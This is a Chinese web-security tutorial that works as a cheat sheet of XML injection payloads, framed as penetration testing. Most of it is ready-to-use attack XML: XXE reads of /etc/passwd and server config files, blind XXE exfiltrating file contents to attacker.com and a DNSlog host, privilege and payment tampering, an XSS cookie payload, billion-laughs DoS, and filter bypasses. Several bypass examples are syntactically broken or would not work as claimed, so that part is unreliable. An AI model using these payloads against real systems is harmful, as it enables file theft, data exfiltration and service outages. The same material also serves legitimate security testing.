文章目录
- 前言
- [1 XML注入核心前提](#1 XML注入核心前提)
-
- [1.1 核心触发条件](#1.1 核心触发条件)
- [1.2 核心攻击入口](#1.2 核心攻击入口)
- [1.3 核心概念](#1.3 核心概念)
- [2 XXE实体注入:信息窃取/内网探测](#2 XXE实体注入:信息窃取/内网探测)
-
- [2.1 有回显XXE:直接读取本地文件](#2.1 有回显XXE:直接读取本地文件)
- [2.2 盲XXE:带外通道窃取数据(无回显)](#2.2 盲XXE:带外通道窃取数据(无回显))
- [2.3 参数实体绕过:突破解析器过滤](#2.3 参数实体绕过:突破解析器过滤)
- [3 元素/属性篡改注入:业务逻辑突破](#3 元素/属性篡改注入:业务逻辑突破)
-
- [3.1 新增特权元素:普通用户提权](#3.1 新增特权元素:普通用户提权)
- [3.2 修改属性值:绕过业务校验](#3.2 修改属性值:绕过业务校验)
- [3.3 覆盖原有元素:篡改业务数据](#3.3 覆盖原有元素:篡改业务数据)
- [4 CDATA标签绕过注入:突破字符过滤](#4 CDATA标签绕过注入:突破字符过滤)
- [5 XML DOS注入:拒绝服务攻击](#5 XML DOS注入:拒绝服务攻击)
-
- [5.1 递归实体注入:栈溢出DOS](#5.1 递归实体注入:栈溢出DOS)
- [5.2 超大嵌套实体注入:内存溢出DOS](#5.2 超大嵌套实体注入:内存溢出DOS)
- [5.3 大量重复节点:CPU耗尽DOS](#5.3 大量重复节点:CPU耗尽DOS)
- [6 XML注入实战绕过技巧](#6 XML注入实战绕过技巧)
-
- [6.1 大小写混合绕过](#6.1 大小写混合绕过)
- [6.2 HTML实体编码绕过](#6.2 HTML实体编码绕过)
- [6.3 关键字拆分绕过](#6.3 关键字拆分绕过)
- [6.4 注释插入绕过](#6.4 注释插入绕过)
- [6.5 编码格式绕过](#6.5 编码格式绕过)
- [6.6 空字节截断绕过](#6.6 空字节截断绕过)
- [7 特殊的Content-Type漏洞](#7 特殊的Content-Type漏洞)
-
- [7.1 探测隐藏的XML解析功能](#7.1 探测隐藏的XML解析功能)
- [7.2 利用XXE漏洞](#7.2 利用XXE漏洞)
- [7.3 实体膨胀攻击](#7.3 实体膨胀攻击)
- [7.4 自动化尝试](#7.4 自动化尝试)
- [8 XML注入实战检测要点](#8 XML注入实战检测要点)
前言
关于 XXE 漏洞的安全实践请参考文章,本文聚焦实战中 XML 注入的手法总结。
1 XML注入核心前提
1.1 核心触发条件
应用程序直接解析用户可控的XML数据,且未做以下安全处理:
- 未禁用外部实体、未限制DTD解析;
- 未对XML节点/属性做白名单验证;
- 未限制XML数据的大小、实体深度、节点数量;
- 未过滤XML中的特殊关键字/恶意标签。
1.2 核心攻击入口
所有接收XML格式数据的位置:
- Content-Type为
application/xml/text/xml的接口请求体; - 支持XML文件上传的功能;
- 对接第三方的XML数据接收端;
- 可配置XML的后台表单、配置项。
1.3 核心概念
- 实体:XML中可复用的内容定义,分内部/外部/参数实体,是XXE和DOS的核心利用点;
- DTD:XML文档类型定义,用于声明实体,多数注入手法需通过DTD实现;
- CDATA:XML的特殊标签,内部内容不会被解析器转义,用于绕过字符过滤;
- 递归/嵌套实体:实体自引用或多层互相引用,解析时占用大量资源,是XML DOS的核心手法。
2 XXE实体注入:信息窃取/内网探测
XXE是XML注入危害最高的手法,核心是通过实体引用让解析器加载本地/远程资源,分有回显、盲注、参数实体绕过三类场景。
2.1 有回显XXE:直接读取本地文件
手法 :构造外部实体引用本地文件,解析器加载后将文件内容回显在响应中;
Payload:
xml
<!-- Linux系统:读取/etc/passwd -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<root>&file;</root>
<!-- Windows系统:读取win.ini -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///c:/windows/win.ini">
]>
<root>&file;</root>
<!-- 读取配置文件:如Java的application.properties -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY conf SYSTEM "file:///usr/local/tomcat/conf/server.xml">
]>
<root>&conf;</root>
场景 :XML解析接口的响应直接返回解析后的内容;
测试要点:提交后查看响应体,包含文件内容则漏洞存在,仅返回节点名则为盲注场景。
2.2 盲XXE:带外通道窃取数据(无回显)
手法 :无直接回显时,通过DNSlog/HTTP带外通道将窃取的文件内容发送到攻击者服务器;
Payload:
xml
<!-- DNSlog盲XXE:替换为自己的DNSlog域名 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY dns SYSTEM "http://your-dnslog-domain.ceye.io">
]>
<root>&dns;</root>
<!-- HTTP盲XXE:第一步,攻击者服务器新建evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % send "<!ENTITY ex SYSTEM 'http://attacker.com/log?data=%file;'>">
%send;
<!-- HTTP盲XXE:第二步,构造XML Payload -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root>&ex;</root>
场景 :XML解析接口无数据回显,仅返回成功/失败状态;
测试要点:查看DNSlog/HTTP服务器日志,有解析请求/数据提交则漏洞存在。
2.3 参数实体绕过:突破解析器过滤
手法 :通过参数实体嵌套绕过普通实体过滤;
Payload:
xml
<!-- 参数实体绕过:有回显,读取Linux文件 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % paramEntity SYSTEM "file:///etc/passwd">
<!ENTITY normalEntity "%paramEntity;">
]>
<root>&normalEntity;</root>
<!-- 参数实体绕过:盲注,对接DNSlog -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % dns SYSTEM "http://your-dnslog-domain.ceye.io">
%dns;
]>
<root></root>
场景 :普通XXE Payload被拦截;
测试要点:提交后触发文件读取/带外请求则过滤仅针对普通实体。
3 元素/属性篡改注入:业务逻辑突破
手法 :新增/修改/覆盖XML的元素/属性,篡改解析后的业务数据;
Payload:
3.1 新增特权元素:普通用户提权
xml
<!-- 原合法XML -->
<?xml version="1.0" encoding="UTF-8"?>
<user>
<name>test</name>
<pwd>123456</pwd>
<role>user</role>
</user>
<!-- 注入Payload -->
<?xml version="1.0" encoding="UTF-8"?>
<user>
<name>test</name>
<pwd>123456</pwd>
<role>user</role>
<admin>true</admin>
<permission>all</permission>
</user>
3.2 修改属性值:绕过业务校验
xml
<!-- 原合法XML -->
<?xml version="1.0" encoding="UTF-8"?>
<order>
<id>12345</id>
<amount>100</amount>
<status>unpaid</status>
</order>
<!-- 注入Payload -->
<?xml version="1.0" encoding="UTF-8"?>
<order>
<id>12345</id>
<amount>0</amount>
<status>paid</status>
</order>
3.3 覆盖原有元素:篡改业务数据
xml
<!-- 原合法XML -->
<?xml version="1.0" encoding="UTF-8"?>
<comment>
<goodsId>666</goodsId>
<content>好评</content>
<score>5</score>
</comment>
<!-- 注入Payload -->
<?xml version="1.0" encoding="UTF-8"?>
<comment>
<goodsId>666</goodsId>
<content>商品质量极差,虚假宣传</content>
<score>1</score>
</comment>
场景 :XML用于业务数据传输;
测试要点:提交后业务数据被篡改则漏洞存在。
4 CDATA标签绕过注入:突破字符过滤
手法 :通过CDATA标签包裹恶意内容,绕过特殊字符/恶意标签过滤;
Payload:
xml
<!-- CDATA绕过:过滤<>&,执行XXE -->
<?xml version="1.0" encoding="UTF-8"?>
<root>
<![CDATA[
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
&file;
]]>
</root>
<!-- CDATA绕过:过滤<script>,注入XSS -->
<?xml version="1.0" encoding="UTF-8"?>
<user>
<nickname>
<![CDATA[
test<script>alert(document.cookie)</script>
]]>
</nickname>
</user>
<!-- CDATA嵌套绕过:过滤CDATA标签 -->
<?xml version="1.0" encoding="UTF-8"?>
<root>
<![CDATA[
<![CDATA[
<!ENTITY file SYSTEM "file:///c:/windows/win.ini">
]]>
&file;
]]>
</root>
场景 :包含特殊字符/恶意标签的XML被拦截;
测试要点:触发XXE/跨站/数据篡改则过滤未覆盖CDATA标签。
5 XML DOS注入:拒绝服务攻击
手法:构造特殊XML数据,耗尽服务器CPU、内存、栈空间;
5.1 递归实体注入:栈溢出DOS
xml
<!-- 递归实体 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY a "&b;">
<!ENTITY b "&a;">
]>
<root>&a;</root>
<!-- 多层递归实体 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY a "&b;">
<!ENTITY b "&c;">
<!ENTITY c "&d;">
<!ENTITY d "&a;">
]>
<root>&a;</root>
测试要点:提交后响应超时/服务不可用则漏洞存在。
5.2 超大嵌套实体注入:内存溢出DOS
xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz[
<!ENTITY lol "Lol">
<!ENTITY lolb "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lolc "&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;">
<!ENTITY lold "&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;">
<!ENTITY lole "&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;">
<!ENTITY lolf "&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;">
<!ENTITY lolg "&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;">
<!ENTITY lolh "&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;">
<!ENTITY loli "&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;">
]>
<attack>&loli;</attack>
测试要点:服务器内存使用率骤升则漏洞存在。
5.3 大量重复节点:CPU耗尽DOS
xml
<?xml version="1.0" encoding="UTF-8"?>
<root>
<node>1</node>
<node>2</node>
<node>3</node>
<node>4</node>
<node>5</node>
<!-- 实际可生成10000+个<node>节点 -->
<node>9999</node>
<node>10000</node>
</root>
测试要点:服务器CPU满载则漏洞存在。
6 XML注入实战绕过技巧
6.1 大小写混合绕过
xml
<?xml version="1.0" encoding="UTF-8"?>
<!dOcTyPe root [
<!eNtItY file SYSTEM "file:///etc/passwd">
]>
<root>&file;</root>
6.2 HTML实体编码绕过
xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<root>&file;</root>
6.3 关键字拆分绕过
xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY s "SY">
<!ENTITY t "STEM">
<!ENTITY file "&s;&t;" "file:///etc/passwd">
]>
<root>&file;</root>
6.4 注释插入绕过
xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY file SY<!-- comment -->STEM "file:///etc/passwd">
]>
<root>&file;</root>
6.5 编码格式绕过
xml
<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<root>&file;</root>
6.6 空字节截断绕过
xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///etc/passwd\x00/test">
]>
<root>&file;</root>
7 特殊的Content-Type漏洞
7.1 探测隐藏的XML解析功能
- 拦截正常JSON请求(Content-Type为
application/json); - 修改Content-Type为
application/xml或text/xml; - 将JSON请求体转换为符合服务端预期的XML结构(如包装根节点);
- 提交后若返回正常数据,证实接口支持XML解析。
7.2 利用XXE漏洞
xml
<?xml version="1.0" encoding="UTF-8"?><!DOcTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
>
<root>
<type>encrypted_data</type><data>&xxe;</data>
</root>
7.3 实体膨胀攻击
xml
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lola "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lolb "&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;">
<!ENTITY lolc "&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;">
<!ENTITY lold "&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;">
<!ENTITY lole "&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;">
<!ENTITY lolf "&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;">
<!ENTITY lolg "&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;">
<!ENTITY lolh "&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;">
<!ENTITY loli "&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;">
]>
<attack>&loli;</attack>
7.4 自动化尝试
利用Burp Suite插件(如Content-Type Converter),将XML解析器报错信息加入HAE插件自定义扫描规则,提高漏洞命中率。
8 XML注入实战检测要点
- 抓包定位所有XML格式接口/上传点,确认Content-Type;
- 提交通用有回显XXE Payload,判断是否有回显、是否被过滤;
- 提交DNSlog盲XXE Payload,查看带外通道日志;
- 提交多层嵌套实体DOS Payload,查看服务器响应时间/资源占用;
- 被过滤时,依次使用大小写、编码、CDATA等绕过技巧测试;
- 提交元素/属性篡改Payload,验证业务逻辑是否被突破。
本文是「Web安全基础」系列内容,点击专栏导航查看全部系列内容。